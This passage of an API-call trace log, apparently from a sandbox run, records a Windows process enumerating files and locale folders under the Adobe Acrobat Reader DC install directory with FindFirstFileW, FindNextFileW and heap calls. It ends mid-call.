nFileSizeLow=0x111e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="redact_poster2x.jpg", cAlternateFileName="REDACT~1.JPG")) returned 1 [0258.965] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7689, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_poster.jpg", cAlternateFileName="SCAN_P~1.JPG")) returned 1 [0258.965] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x149e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_poster2x.jpg", cAlternateFileName="SCAN_P~2.JPG")) returned 1 [0258.965] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x149e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_poster2x.jpg", cAlternateFileName="SCAN_P~2.JPG")) returned 0 [0258.965] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.966] GetProcessHeap () returned 0xc10000 [0258.966] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.966] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0258.966] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0258.966] GetProcessHeap () returned 0xc10000 [0258.966] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0258.966] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0258.967] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0258.967] GetProcessHeap () returned 0xc10000 [0258.967] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0258.968] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0258.968] GetProcessHeap () returned 0xc10000 [0258.968] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0258.968] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.969] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.969] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0258.969] GetProcessHeap () returned 0xc10000 [0258.969] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0258.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0258.972] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.972] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0258.972] GetProcessHeap () returned 0xc10000 [0258.972] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0258.973] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.973] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.973] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0258.974] GetProcessHeap () returned 0xc10000 [0258.974] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.974] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0258.974] GetProcessHeap () returned 0xc10000 [0258.974] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0258.974] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.974] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x119b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.975] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x119b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.975] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0258.975] GetProcessHeap () returned 0xc10000 [0258.975] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.975] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0258.975] GetProcessHeap () returned 0xc10000 [0258.975] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0258.976] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.976] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.976] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.976] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0258.976] GetProcessHeap () returned 0xc10000 [0258.976] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.976] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0258.976] GetProcessHeap () returned 0xc10000 [0258.976] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0258.977] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.977] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x107a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.977] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x107a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.977] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0258.977] GetProcessHeap () returned 0xc10000 [0258.977] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.977] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0258.977] GetProcessHeap () returned 0xc10000 [0258.977] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.217] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.217] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.217] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.217] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.217] GetProcessHeap () returned 0xc10000 [0259.217] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.217] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0259.218] GetProcessHeap () returned 0xc10000 [0259.218] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0259.219] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.219] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0259.219] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0259.219] GetProcessHeap () returned 0xc10000 [0259.219] HeapFree (in: 